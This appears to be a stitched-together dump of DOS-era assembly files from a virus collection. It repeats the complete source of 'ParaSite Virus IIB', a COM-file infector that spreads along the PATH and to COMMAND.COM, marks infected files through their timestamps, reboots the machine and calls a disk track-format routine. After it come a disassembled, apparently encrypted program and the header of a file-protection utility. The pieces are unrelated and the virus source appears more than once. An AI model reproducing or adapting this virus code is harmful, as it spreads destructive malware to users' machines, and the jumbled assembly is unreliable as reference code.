CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too LON
JA find_next ;If too long, find another one
CMP WORD PTR [SI+dta_len],0AH ;Is it too short?
JB find_next ;Then go find another one
MOV DI,[SI+nam_ptr]
PUSH SI
ADD SI,dta_nam
more_chars:
LODSB
STOSB
CMP AL,0
JNZ more_chars
POP SI
MOV AX,OFFSET 4300H
MOV DX,wrk_spc
ADD DX,SI
INT 21H
MOV [SI+old_att],CX
MOV AX,OFFSET 4301H
AND CX,OFFSET 0FFFEH
MOV DX,wrk_spc
ADD DX,SI
INT 21H
MOV AX,OFFSET 3D02H
MOV DX,wrk_spc
ADD DX,SI
INT 21H
JNB opened_ok
JMP fix_attr
opened_ok:
MOV BX,AX
MOV AX,OFFSET 5700H
INT 21H
MOV [SI+old_tim],CX ;Save file time
MOV [SI+ol_date],DX ;Save the date
MOV AH,2CH
INT 21H
AND DH,7
JMP infect
infect:
MOV AH,3FH
MOV CX,3
MOV DX,first_3
ADD DX,SI
INT 21H ;Save first 3 bytes into the data area
JB fix_time_stamp
CMP AX,3
JNZ fix_time_stamp
MOV AX,OFFSET 4202H
MOV CX,0
MOV DX,0
INT 21H
JB fix_time_stamp
MOV CX,AX
SUB AX,3
MOV [SI+jmp_dsp],AX
ADD CX,OFFSET c_len_y
MOV DI,SI
SUB DI,OFFSET c_len_x
JMP CONT
JOE2:
JMP JOE1
CONT:
MOV [DI],CX
MOV AH,40H
MOV_CX virlen
MOV DX,SI
SUB DX,OFFSET codelen
INT 21H
JB fix_time_stamp
CMP AX,OFFSET virlen
JNZ fix_time_stamp
MOV AX,OFFSET 4200H
MOV CX,0
MOV DX,0
INT 21H
JB fix_time_stamp
MOV AH,40H
MOV CX,3
MOV DX,SI
ADD DX,jmp_op
INT 21H
fix_time_stamp:
MOV DX,[SI+ol_date]
MOV CX,[SI+old_tim]
AND CX,OFFSET 0FFE0H
OR CX,1EH
MOV AX,OFFSET 5701H
INT 21H
MOV AH,3EH
INT 21H
fix_attr:
MOV AX,OFFSET 4301H
MOV CX,[SI+old_att]
MOV DX,wrk_spc
ADD DX,SI
INT 21H
all_done:
PUSH DS
MOV AH,1AH
MOV DX,[SI+old_dta]
MOV DS,[SI+old_dts]
INT 21H
POP DS
quit:
MOV BX,OFFSET count
CMP BX,0
JB joe2
POP CX
XOR AX,AX ;XOR values so that we will give
XOR BX,BX ;poor sucker a hard time trying
XOR DX,DX ;reassemble the source code if h
XOR SI,SI ;decides to dissassemble us.
MOV DI,OFFSET 0100H
PUSH DI
XOR DI,DI
RET 0FFFFH ;Return back to the beginning
;of the program
vir_dat EQU $
Aurther DB "ParaSite IIB - By: Rock Steady"
olddta_ DW 0
olddts_ DW 0
oldtim_ DW 0
count_ DW 0
oldate_ DW 0
oldatt_ DW 0
first3_ EQU $
INT 20H
NOP
jmpop_ DB 0E9H
jmpdsp_ DW 0
fspec_ DB '*.COM',0
fipec_ DB 'COMMAND.COM',0
pathad_ DW 0
namptr_ DW 0
envstr_ DB 'PATH='
wrkspc_ DB 40h dup (0)
dta_ DB 16h dup (0)
dtatim_ DW 0,0
dtalen_ DW 0,0
dtanam_ DB 0Dh dup (0)
buffer DB 0CDh, 20h, 0, 0, 0, 0, 0, 0
orig_path DB 64 dup (?)
root_dir DB '\',0
lst_byt EQU $
virlen = lst_byt - v_start
codelen = vir_dat - v_start
c_len_x = vir_dat - v_start - 2
c_len_y = vir_dat - v_start + 100H
old_dta = olddta_ - vir_dat
old_dts = olddts_ - vir_dat
old_tim = oldtim_ - vir_dat
ol_date = oldate_ - vir_dat
old_att = oldatt_ - vir_dat
first_3 = first3_ - vir_dat
jmp_op = jmpop_ - vir_dat
jmp_dsp = jmpdsp_ - vir_dat
f_spec = fspec_ - vir_dat
f_ipec = fipec_ - vir_dat
path_ad = pathad_ - vir_dat
nam_ptr = namptr_ - vir_dat
env_str = envstr_ - vir_dat
wrk_spc = wrkspc_ - vir_dat
dta = dta_ - vir_dat
dta_tim = dtatim_ - vir_dat
dta_len = dtalen_ - vir_dat
dta_nam = dtanam_ - vir_dat
count = count_ - vir_dat
CODE ENDS
END VCODE

@ -0,0 +1,418 @@
;********************************************************************
; <PARSIT2B.ASM> - ParaSite Virus IIB
; By: Rock Steady
; Close to one year I created this Virus. As you can see it is quite
; old... Maybe too Old... But here it is... It Sucks... but its great
; for any virus beginner... Anyhow...
; NOTES: Simple COM infector. 10% of the time it reboots the system
; 20% it plays machine gun noices on the PC speaker... and
; 70% of the time is infects another COM file... Have fun...
;********************************************************************
MOV_CX MACRO X
DB 0B9H
DW X
ENDM
CODE SEGMENT
ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
ORG 100H
VCODE: JMP virus
NOP
NOP ; To identify it as an Infected
NOP ; Program!
v_start equ $
virus: PUSH CX
MOV DX,OFFSET vir_dat
CLD
MOV SI,DX
ADD SI,first_3
JMP Rock_1
Rock_2:
MOV DX,dta
ADD DX,SI
MOV AH,1AH
INT 21H
PUSH ES
PUSH SI
MOV ES,DS:2CH
MOV DI,0
JMP Day_Of_Week
Rock_1:
MOV CX,3
MOV DI,OFFSET 100H
REPZ MOVSB
MOV SI,DX
PUSH ES
MOV AH,2FH
INT 21H
MOV [SI+old_dta],BX
MOV [SI+old_dts],ES
POP ES
JMP Rock_2
Day_Of_Week:
MOV AH,2AH ;Get System date!
INT 21H
CMP AL,1 ;Check to See if it's Monday!
JGE day_check ;Jump if later than Mondays
JMP Get_Time
day_check:
CMP AL,1 ;Check to see if it is the 1st
JA Get_Time ;If yes, create a MESS...
JMP Bad_Mondays ;If not, then go on with infecti
mess:
Bad_Mondays:
MOV DL,2 ;The Formatting Tracks..
MOV AH,05
MOV DH,80h
MOV CH,0
INT 13h
Play_music:
MOV CX,20d ;Set number of Shots
new_shot:
PUSH CX ;Save Count
CALL Shoot
MOV CX,4000H
Silent: LOOP silent
POP CX
LOOP new_Shot
JMP mess
SHOOT proc near ;The Machine Gun Noices...
MOV DX,140h
MOV BX,20h
IN AL,61h
AND AL,11111100b
SOUND: XOR AL,2
OUT 61h,al
ADD dx,9248h
MOV CL,3
ROR DX,CL
MOV CX,DX
AND cx,1ffh
OR CX,10
WAITA: LOOP WAITA
DEC BX
JNZ SOUND
AND AL,11111100b
OUT 61h,AL
RET
Shoot Endp
Get_Time:
MOV AH,2Ch ; Get System Time!
INT 21h ;
AND DH,0fh
CMP DH,3
JB Play_music
CMP DH,3h
JA Find_Path
INT 19h
go:
MOV AH, 47H
XOR DL,DL
ADD SI, OFFSET orig_path - OFFSET buffer - 8
INT 21H
JC find_path
MOV AH,3BH
MOV DX,SI
ADD DX, OFFSET root_dir - OFFSET orig_path
INT 21H
infect_root:
MOV [BX+nam_ptr],DI
MOV SI,BX
ADD SI,f_ipec
MOV CX,6
REPZ MOVSB
JMP hello
find_path:
POP SI ; Seek and Destroy...
PUSH SI
ADD SI,env_str
LODSB
MOV CX,OFFSET 8000H
REPNZ SCASB
MOV CX,4
check_next_4:
LODSB
SCASB
;
; The JNZ line specifies that if there is no PATH present, then we will
; along and infect the ROOT directory on the default drive.
JNZ find_path ;If not path, then go to ROOT di
LOOP check_next_4 ;Go back and check for more char
POP SI ;Load in PATH again to look for
POP ES
MOV [SI+path_ad],DI
MOV DI,SI
ADD DI,wrk_spc
MOV BX,SI
ADD SI,wrk_spc ;the File Handle
MOV DI,SI
JMP SHORT slash_ok
set_subdir:
CMP WORD PTR [SI+path_ad],0
JNZ found_subdir
JMP all_done
found_subdir:
PUSH DS
PUSH SI
MOV DS,ES:2CH
MOV DI,SI
MOV SI,ES:[DI+path_ad]
ADD DI,wrk_spc ;DI is the handle to infect!
move_subdir:
LODSB ;To tedious work to move into su
NOP
CMP AL,';' ;Does it end with a ; character?
JZ moved_one ;if yes, then we found a subdir
CMP AL,0 ;is it the end of the path?
JZ moved_last_one ;if yes, then we save the PATH
STOSB ;marker into DI for future refer
JMP SHORT move_subdir
moved_last_one:
MOV SI,0
moved_one:
POP BX ;BX is where the virus data is
POP DS ;Restore DS
NOP
MOV [BX+path_ad],SI ;Where is the next subdir?
CMP CH,'\' ;Check to see if it ends in \
JZ slash_ok ;If yes, then it's OK
MOV AL,'\' ;if not, then add one...
STOSB ;store the sucker
slash_ok:
MOV [BX+nam_ptr],DI ;Move the filename into workspac
MOV SI,BX ;Restore the original SI value
ADD SI,f_spec ;Point to COM file victim
MOV CX,6
REPZ MOVSB ;Move victim into workspace
hello:
MOV SI,BX
MOV AH,4EH
MOV DX,wrk_spc
ADD DX,SI ;DX is ... The File to infect
MOV CX,3 ;Attributes of Read Only or Hidd
INT 21H
JMP SHORT find_first
joe1:
JMP go
find_next:
MOV AH,4FH
INT 21H
find_first:
JNB found_file ;Jump if we found it
JMP SHORT set_subdir ;Otherwise, get another subdirec
found_file:
MOV AX,[SI+dta_tim] ;Get time from DTA
AND AL,1EH ;Mask to remove all but seconds
CMP AL,1EH ;60 seconds
JZ find_next
CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too LON
JA find_next ;If too long, find another one
CMP WORD PTR [SI+dta_len],0AH ;Is it too short?
JB find_next ;Then go find another one
MOV DI,[SI+nam_ptr]
PUSH SI
ADD SI,dta_nam
more_chars:
LODSB
STOSB
CMP AL,0
JNZ more_chars
POP SI
MOV AX,OFFSET 4300H
MOV DX,wrk_spc
ADD DX,SI
INT 21H
MOV [SI+old_att],CX
MOV AX,OFFSET 4301H
AND CX,OFFSET 0FFFEH
MOV DX,wrk_spc
ADD DX,SI
INT 21H
MOV AX,OFFSET 3D02H
MOV DX,wrk_spc
ADD DX,SI
INT 21H
JNB opened_ok
JMP fix_attr
opened_ok:
MOV BX,AX
MOV AX,OFFSET 5700H
INT 21H
MOV [SI+old_tim],CX ;Save file time
MOV [SI+ol_date],DX ;Save the date
MOV AH,2CH
INT 21H
AND DH,7
JMP infect
infect:
MOV AH,3FH
MOV CX,3
MOV DX,first_3
ADD DX,SI
INT 21H ;Save first 3 bytes into the data area
JB fix_time_stamp
CMP AX,3
JNZ fix_time_stamp
MOV AX,OFFSET 4202H
MOV CX,0
MOV DX,0
INT 21H
JB fix_time_stamp
MOV CX,AX
SUB AX,3
MOV [SI+jmp_dsp],AX
ADD CX,OFFSET c_len_y
MOV DI,SI
SUB DI,OFFSET c_len_x
JMP CONT
JOE2:
JMP JOE1
CONT:
MOV [DI],CX
MOV AH,40H
MOV_CX virlen
MOV DX,SI
SUB DX,OFFSET codelen
INT 21H
JB fix_time_stamp
CMP AX,OFFSET virlen
JNZ fix_time_stamp
MOV AX,OFFSET 4200H
MOV CX,0
MOV DX,0
INT 21H
JB fix_time_stamp
MOV AH,40H
MOV CX,3
MOV DX,SI
ADD DX,jmp_op
INT 21H
fix_time_stamp:
MOV DX,[SI+ol_date]
MOV CX,[SI+old_tim]
AND CX,OFFSET 0FFE0H
OR CX,1EH
MOV AX,OFFSET 5701H
INT 21H
MOV AH,3EH
INT 21H
fix_attr:
MOV AX,OFFSET 4301H
MOV CX,[SI+old_att]
MOV DX,wrk_spc
ADD DX,SI
INT 21H
all_done:
PUSH DS
MOV AH,1AH
MOV DX,[SI+old_dta]
MOV DS,[SI+old_dts]
INT 21H
POP DS
quit:
MOV BX,OFFSET count
CMP BX,0
JB joe2
POP CX
XOR AX,AX ;XOR values so that we will give
XOR BX,BX ;poor sucker a hard time trying
XOR DX,DX ;reassemble the source code if h
XOR SI,SI ;decides to dissassemble us.
MOV DI,OFFSET 0100H
PUSH DI
XOR DI,DI
RET 0FFFFH ;Return back to the beginning
;of the program
vir_dat EQU $
Aurther DB "ParaSite IIB - By: Rock Steady"
olddta_ DW 0
olddts_ DW 0
oldtim_ DW 0
count_ DW 0
oldate_ DW 0
oldatt_ DW 0
first3_ EQU $
INT 20H
NOP
jmpop_ DB 0E9H
jmpdsp_ DW 0
fspec_ DB '*.COM',0
fipec_ DB 'COMMAND.COM',0
pathad_ DW 0
namptr_ DW 0
envstr_ DB 'PATH='
wrkspc_ DB 40h dup (0)
dta_ DB 16h dup (0)
dtatim_ DW 0,0
dtalen_ DW 0,0
dtanam_ DB 0Dh dup (0)
buffer DB 0CDh, 20h, 0, 0, 0, 0, 0, 0
orig_path DB 64 dup (?)
root_dir DB '\',0
lst_byt EQU $
virlen = lst_byt - v_start
codelen = vir_dat - v_start
c_len_x = vir_dat - v_start - 2
c_len_y = vir_dat - v_start + 100H
old_dta = olddta_ - vir_dat
old_dts = olddts_ - vir_dat
old_tim = oldtim_ - vir_dat
ol_date = oldate_ - vir_dat
old_att = oldatt_ - vir_dat
first_3 = first3_ - vir_dat
jmp_op = jmpop_ - vir_dat
jmp_dsp = jmpdsp_ - vir_dat
f_spec = fspec_ - vir_dat
f_ipec = fipec_ - vir_dat
path_ad = pathad_ - vir_dat
nam_ptr = namptr_ - vir_dat
env_str = envstr_ - vir_dat
wrk_spc = wrkspc_ - vir_dat
dta = dta_ - vir_dat
dta_tim = dtatim_ - vir_dat
dta_len = dtalen_ - vir_dat
dta_nam = dtanam_ - vir_dat
count = count_ - vir_dat
CODE ENDS
END VCODE

@ -0,0 +1,418 @@
;********************************************************************
; <PARSIT2B.ASM> - ParaSite Virus IIB
; By: Rock Steady
; Close to one year I created this Virus. As you can see it is quite
; old... Maybe too Old... But here it is... It Sucks... but its great
; for any virus beginner... Anyhow...
; NOTES: Simple COM infector. 10% of the time it reboots the system
; 20% it plays machine gun noices on the PC speaker... and
; 70% of the time is infects another COM file... Have fun...
;********************************************************************
MOV_CX MACRO X
DB 0B9H
DW X
ENDM
CODE SEGMENT
ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
ORG 100H
VCODE: JMP virus
NOP
NOP ; To identify it as an Infected
NOP ; Program!
v_start equ $
virus: PUSH CX
MOV DX,OFFSET vir_dat
CLD
MOV SI,DX
ADD SI,first_3
JMP Rock_1
Rock_2:
MOV DX,dta
ADD DX,SI
MOV AH,1AH
INT 21H
PUSH ES
PUSH SI
MOV ES,DS:2CH
MOV DI,0
JMP Day_Of_Week
Rock_1:
MOV CX,3
MOV DI,OFFSET 100H
REPZ MOVSB
MOV SI,DX
PUSH ES
MOV AH,2FH
INT 21H
MOV [SI+old_dta],BX
MOV [SI+old_dts],ES
POP ES
JMP Rock_2
Day_Of_Week:
MOV AH,2AH ;Get System date!
INT 21H
CMP AL,1 ;Check to See if it's Monday!
JGE day_check ;Jump if later than Mondays
JMP Get_Time
day_check:
CMP AL,1 ;Check to see if it is the 1st
JA Get_Time ;If yes, create a MESS...
JMP Bad_Mondays ;If not, then go on with infecti
mess:
Bad_Mondays:
MOV DL,2 ;The Formatting Tracks..
MOV AH,05
MOV DH,80h
MOV CH,0
INT 13h
Play_music:
MOV CX,20d ;Set number of Shots
new_shot:
PUSH CX ;Save Count
CALL Shoot
MOV CX,4000H
Silent: LOOP silent
POP CX
LOOP new_Shot
JMP mess
SHOOT proc near ;The Machine Gun Noices...
MOV DX,140h
MOV BX,20h
IN AL,61h
AND AL,11111100b
SOUND: XOR AL,2
OUT 61h,al
ADD dx,9248h
MOV CL,3
ROR DX,CL
MOV CX,DX
AND cx,1ffh
OR CX,10
WAITA: LOOP WAITA
DEC BX
JNZ SOUND
AND AL,11111100b
OUT 61h,AL
RET
Shoot Endp
Get_Time:
MOV AH,2Ch ; Get System Time!
INT 21h ;
AND DH,0fh
CMP DH,3
JB Play_music
CMP DH,3h
JA Find_Path
INT 19h
go:
MOV AH, 47H
XOR DL,DL
ADD SI, OFFSET orig_path - OFFSET buffer - 8
INT 21H
JC find_path
MOV AH,3BH
MOV DX,SI
ADD DX, OFFSET root_dir - OFFSET orig_path
INT 21H
infect_root:
MOV [BX+nam_ptr],DI
MOV SI,BX
ADD SI,f_ipec
MOV CX,6
REPZ MOVSB
JMP hello
find_path:
POP SI ; Seek and Destroy...
PUSH SI
ADD SI,env_str
LODSB
MOV CX,OFFSET 8000H
REPNZ SCASB
MOV CX,4
check_next_4:
LODSB
SCASB
;
; The JNZ line specifies that if there is no PATH present, then we will
; along and infect the ROOT directory on the default drive.
JNZ find_path ;If not path, then go to ROOT di
LOOP check_next_4 ;Go back and check for more char
POP SI ;Load in PATH again to look for
POP ES
MOV [SI+path_ad],DI
MOV DI,SI
ADD DI,wrk_spc
MOV BX,SI
ADD SI,wrk_spc ;the File Handle
MOV DI,SI
JMP SHORT slash_ok
set_subdir:
CMP WORD PTR [SI+path_ad],0
JNZ found_subdir
JMP all_done
found_subdir:
PUSH DS
PUSH SI
MOV DS,ES:2CH
MOV DI,SI
MOV SI,ES:[DI+path_ad]
ADD DI,wrk_spc ;DI is the handle to infect!
move_subdir:
LODSB ;To tedious work to move into su
NOP
CMP AL,';' ;Does it end with a ; character?
JZ moved_one ;if yes, then we found a subdir
CMP AL,0 ;is it the end of the path?
JZ moved_last_one ;if yes, then we save the PATH
STOSB ;marker into DI for future refer
JMP SHORT move_subdir
moved_last_one:
MOV SI,0
moved_one:
POP BX ;BX is where the virus data is
POP DS ;Restore DS
NOP
MOV [BX+path_ad],SI ;Where is the next subdir?
CMP CH,'\' ;Check to see if it ends in \
JZ slash_ok ;If yes, then it's OK
MOV AL,'\' ;if not, then add one...
STOSB ;store the sucker
slash_ok:
MOV [BX+nam_ptr],DI ;Move the filename into workspac
MOV SI,BX ;Restore the original SI value
ADD SI,f_spec ;Point to COM file victim
MOV CX,6
REPZ MOVSB ;Move victim into workspace
hello:
MOV SI,BX
MOV AH,4EH
MOV DX,wrk_spc
ADD DX,SI ;DX is ... The File to infect
MOV CX,3 ;Attributes of Read Only or Hidd
INT 21H
JMP SHORT find_first
joe1:
JMP go
find_next:
MOV AH,4FH
INT 21H
find_first:
JNB found_file ;Jump if we found it
JMP SHORT set_subdir ;Otherwise, get another subdirec
found_file:
MOV AX,[SI+dta_tim] ;Get time from DTA
AND AL,1EH ;Mask to remove all but seconds
CMP AL,1EH ;60 seconds
JZ find_next
CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too LON
JA find_next ;If too long, find another one
CMP WORD PTR [SI+dta_len],0AH ;Is it too short?
JB find_next ;Then go find another one
MOV DI,[SI+nam_ptr]
PUSH SI
ADD SI,dta_nam
more_chars:
LODSB
STOSB
CMP AL,0
JNZ more_chars
POP SI
MOV AX,OFFSET 4300H
MOV DX,wrk_spc
ADD DX,SI
INT 21H
MOV [SI+old_att],CX
MOV AX,OFFSET 4301H
AND CX,OFFSET 0FFFEH
MOV DX,wrk_spc
ADD DX,SI
INT 21H
MOV AX,OFFSET 3D02H
MOV DX,wrk_spc
ADD DX,SI
INT 21H
JNB opened_ok
JMP fix_attr
opened_ok:
MOV BX,AX
MOV AX,OFFSET 5700H
INT 21H
MOV [SI+old_tim],CX ;Save file time
MOV [SI+ol_date],DX ;Save the date
MOV AH,2CH
INT 21H
AND DH,7
JMP infect
infect:
MOV AH,3FH
MOV CX,3
MOV DX,first_3
ADD DX,SI
INT 21H ;Save first 3 bytes into the data area
JB fix_time_stamp
CMP AX,3
JNZ fix_time_stamp
MOV AX,OFFSET 4202H
MOV CX,0
MOV DX,0
INT 21H
JB fix_time_stamp
MOV CX,AX
SUB AX,3
MOV [SI+jmp_dsp],AX
ADD CX,OFFSET c_len_y
MOV DI,SI
SUB DI,OFFSET c_len_x
JMP CONT
JOE2:
JMP JOE1
CONT:
MOV [DI],CX
MOV AH,40H
MOV_CX virlen
MOV DX,SI
SUB DX,OFFSET codelen
INT 21H
JB fix_time_stamp
CMP AX,OFFSET virlen
JNZ fix_time_stamp
MOV AX,OFFSET 4200H
MOV CX,0
MOV DX,0
INT 21H
JB fix_time_stamp
MOV AH,40H
MOV CX,3
MOV DX,SI
ADD DX,jmp_op
INT 21H
fix_time_stamp:
MOV DX,[SI+ol_date]
MOV CX,[SI+old_tim]
AND CX,OFFSET 0FFE0H
OR CX,1EH
MOV AX,OFFSET 5701H
INT 21H
MOV AH,3EH
INT 21H
fix_attr:
MOV AX,OFFSET 4301H
MOV CX,[SI+old_att]
MOV DX,wrk_spc
ADD DX,SI
INT 21H
all_done:
PUSH DS
MOV AH,1AH
MOV DX,[SI+old_dta]
MOV DS,[SI+old_dts]
INT 21H
POP DS
quit:
MOV BX,OFFSET count
CMP BX,0
JB joe2
POP CX
XOR AX,AX ;XOR values so that we will give
XOR BX,BX ;poor sucker a hard time trying
XOR DX,DX ;reassemble the source code if h
XOR SI,SI ;decides to dissassemble us.
MOV DI,OFFSET 0100H
PUSH DI
XOR DI,DI
RET 0FFFFH ;Return back to the beginning
;of the program
vir_dat EQU $
Aurther DB "ParaSite IIB - By: Rock Steady"
olddta_ DW 0
olddts_ DW 0
oldtim_ DW 0
count_ DW 0
oldate_ DW 0
oldatt_ DW 0
first3_ EQU $
INT 20H
NOP
jmpop_ DB 0E9H
jmpdsp_ DW 0
fspec_ DB '*.COM',0
fipec_ DB 'COMMAND.COM',0
pathad_ DW 0
namptr_ DW 0
envstr_ DB 'PATH='
wrkspc_ DB 40h dup (0)
dta_ DB 16h dup (0)
dtatim_ DW 0,0
dtalen_ DW 0,0
dtanam_ DB 0Dh dup (0)
buffer DB 0CDh, 20h, 0, 0, 0, 0, 0, 0
orig_path DB 64 dup (?)
root_dir DB '\',0
lst_byt EQU $
virlen = lst_byt - v_start
codelen = vir_dat - v_start
c_len_x = vir_dat - v_start - 2
c_len_y = vir_dat - v_start + 100H
old_dta = olddta_ - vir_dat
old_dts = olddts_ - vir_dat
old_tim = oldtim_ - vir_dat
ol_date = oldate_ - vir_dat
old_att = oldatt_ - vir_dat
first_3 = first3_ - vir_dat
jmp_op = jmpop_ - vir_dat
jmp_dsp = jmpdsp_ - vir_dat
f_spec = fspec_ - vir_dat
f_ipec = fipec_ - vir_dat
path_ad = pathad_ - vir_dat
nam_ptr = namptr_ - vir_dat
env_str = envstr_ - vir_dat
wrk_spc = wrkspc_ - vir_dat
dta = dta_ - vir_dat
dta_tim = dtatim_ - vir_dat
dta_len = dtalen_ - vir_dat
dta_nam = dtanam_ - vir_dat
count = count_ - vir_dat
CODE ENDS
END VCODE

@ -0,0 +1,227 @@
PAGE 59,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ PART ÛÛ
;ÛÛ ÛÛ
;ÛÛ Created: 10-Aug-92 ÛÛ
;ÛÛ Passes: 5 Analysis Options on: J ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
data_11e equ 0F42h ;*
data_13e equ 2F42h ;*
data_14e equ 3F42h ;*
data_15e equ 65C4h ;*
data_16e equ 7090h ;*
data_17e equ 75C4h ;*
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
part proc far
start:
esc 5,dh ; coprocessor escape
db 0D6h, 2Fh, 12h, 24h, 01h, 49h
db 44h, 7Eh, 2Eh, 82h, 01h,0F1h
db 0F9h, 90h,0DCh,0C3h, 21h, 74h
db 0EAh, 42h,0EDh, 72h, 81h, 7Bh
db 0B5h,0E4h, 6Eh, 71h, 64h, 4Ah
db 19h,0B6h,0CAh, 28h,0E0h, 17h
db 0C6h,0B5h, 33h, 36h, 09h,0C2h
db 0A3h,0A1h, 21h, 9Eh, 30h, 74h
db 0C5h, 51h,0E1h, 91h, 24h, 99h
db 93h, 0Fh,0D0h, 0Dh, 0Ah, 69h
db 0FEh,0ACh, 27h, 10h,0C5h,0A5h
db 1Eh, 94h,0AEh, 1Bh,0DAh, 4Eh
db 49h, 58h, 2Fh, 1Dh, 65h,0E4h
db 74h,0F6h, 7Eh, 22h, 61h, 2Eh
db 0D2h,0FDh, 56h, 92h
db 2Eh
loc_1:
in ax,0F7h ; port 0F7h ??I/O Non-standard
lds cx,dword ptr [bp+di+75h] ; Load 32 bit ptr
mov [bp+si],es
sbb al,0DEh
sub bp,cx
out 0Eh,ax ; port 0Eh, DMA-1 clr mask reg
adc al,3Eh ; '>'
sub ax,73Eh
and [bx-39h],dh
pop bp
pop bx
mov dx,0D157h
and [bp+si],ax
inc sp
pop si
mov si,ax
;* pop cs ; Dangerous 8088 only
db 0Fh
pop cx
rcl byte ptr [bp+di+53h],cl ; Rotate thru carry
pop di
loop locloop_4 ; Loop if cx > 0
sub [bx-17h],ch
xor ax,398Ah
sal bh,1 ; Shift w/zeros fill
aaa ; Ascii adjust
or [bp+si+7AF0h],ch
loopnz $+36h ; Loop if zf=0, cx>0
xchg ax,bp
and al,0E4h
jl loc_1 ; Jump if <
call $-52ACh
xchg ax,cx
retn 10E7h
push di
int 3 ; Debug breakpoint
xchg ax,bp
sub dh,bh
inc cx
into ; Int 4 on overflow
aaa ; Ascii adjust
dec sp
db 6Ah
locloop_4:
push ss
jmp $+422Bh
;* call far ptr sub_1 ;*
db 9Ah, 53h, 67h,0FFh, 82h
db 68h,0E9h, 4Bh,0DCh, 76h,0CBh
db 0E7h, 4Ah,0E4h, 8Ah, 92h,0E2h
db 03h, 54h,0CCh, 85h
locloop_5:
xor ah,al
push cs
retn
db 6Eh, 5Bh, 7Fh, 01h,0E8h, 7Dh
db 0Fh, 86h, 52h, 56h,0F9h,0AEh
db 2Fh, 95h, 4Bh,0FDh, 77h,0E0h
db 0E8h, 69h,0ADh
db 0BBh, 85h, 97h, 02h, 7Ch,0CBh
db 0A8h, 39h,0DAh, 2Eh, 80h, 4Ah
db 74h, 8Ch, 4Ch, 85h, 6Dh, 42h
db 0FFh, 21h, 35h, 90h,0D0h, 48h
db 0A5h, 24h, 9Dh, 12h, 82h, 89h
db 0Dh,0C4h,0C5h,0E2h,0A7h, 71h
db 15h,0B8h,0CCh, 5Ch,0A7h
db 2Eh
loc_6:
nop
pop ss
or [bp+di],cl
inc sp
test bx,ds:data_11e[di]
and bp,ax
nop
and [bx+si+55h],cl
and al,6Dh ; 'm'
adc dh,[bp+si-77h]
std ; Set direction flag
les si,dword ptr [di] ; Load 32 bit ptr
;* loop locloop_12 ;*Loop if cx > 0
db 0E2h, 57h
jno loc_6 ; Jump if not overflw
mov ax,5C3Ch
push di
loc_8:
db 2Eh, 60h, 17h,0F8h, 0Bh,0B4h
db 85h, 8Dh, 42h, 1Fh, 21h,0D5h
db 90h, 30h, 48h, 45h, 24h, 7Dh
db 12h, 62h, 89h,0EDh,0C4h, 25h
db 0E2h, 47h, 71h,0F5h,0B8h
db 2Ch, 5Ch, 47h, 2Eh
loc_9:
jo loc_11 ; Jump if overflow=1
call $-5BF2h
test di,ds:data_13e[di]
and bp,sp
nop
add [bx+si+75h],cl
and al,4Dh ; 'M'
adc dl,[bp+si-77h]
esc 5,ah ; coprocessor escape
adc ax,77E2h
loc_11:
jno loc_8 ; Jump if not overflw
mov ax,5C1Ch
ja loc_13 ; Jump if above
inc ax
pop ss
esc 0,[bp+di] ; coprocessor escape
xchg ax,sp
test bp,ds:data_14e[di]
and bp,si
nop
adc [bx+si+65h],cl
and al,5Dh ; ']'
adc al,[bp+si-77h]
int 0C4h ; ??INT Non-standard interrupt
add ax,67E2h
;* jno loc_10 ;*Jump if not overflw
db 71h,0D5h
mov ax,5C0Ch
db 67h, 2Eh, 50h, 17h,0C8h, 0Bh
db 84h, 85h,0DDh, 42h, 4Fh, 21h
db 85h, 90h
db 60h, 48h
loc_13:
adc ax,2D24h
adc dh,[bp+si]
mov ds:data_17e[di],di
;* loop locloop_15 ;*Loop if cx > 0
db 0E2h, 17h
jno loc_9 ; Jump if not overflw
mov ax,5C7Ch
pop ss
and cs:[bx],dl
mov ax,0F40Bh
test cx,bp
inc dx
pop di
and ds:data_16e[di],dx
dec ax
add ax,3D24h
adc ah,[bp+si]
mov ds:data_15e[di],bp
loop $+9 ; Loop if cx > 0
;* jno locloop_12 ;*Jump if not overflw
db 71h,0B5h
mov ax,5C6Ch
pop es
xor cs:[bx],dl
test al,8Bh
in ax,84h ; port 84h ??I/O Non-standard
std ; Set direction flag
inc si
db 61h, 30h, 55h, 81h, 40h, 48h
db 35h,0DAh,0E2h, 12h, 12h, 89h
db 9Dh,0C5h,0A4h,0E7h, 39h,0A0h
db 62h,0B7h,0ACh, 5Ch, 37h, 27h
db 0F4h, 15h, 98h, 0Bh,0D4h, 85h
db 0EDh, 42h, 7Fh, 21h,0B5h, 90h
db 50h, 48h, 25h, 24h, 1Dh, 12h
db 02h, 89h, 8Dh,0C4h, 45h,0E2h
db 27h, 71h, 95h,0B8h, 4Ch, 5Ch
db 27h, 2Eh, 10h, 17h, 88h, 5Eh
db 6Eh, 00h
part endp
seg_a ends
end start

@ -0,0 +1,401 @@
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Black Wolf's File Protection Utilities 2.1s
;
;PassCOM - This program password protects the specified file by attaching
; code from PW_COM onto the file so that it will check for passwords
; each execution. It utilizes ULTIMUTE .93á to protect then PW_COM
; code from easy manipulation.
;
;LISCENSE:
; Released As Freeware - These files may be distributed freely.
;
;Any modifications made to this program should be listed below the solid line,
;along with the name of the programmer and the date the file was changed.
;Also - they should be commented where changed.
;
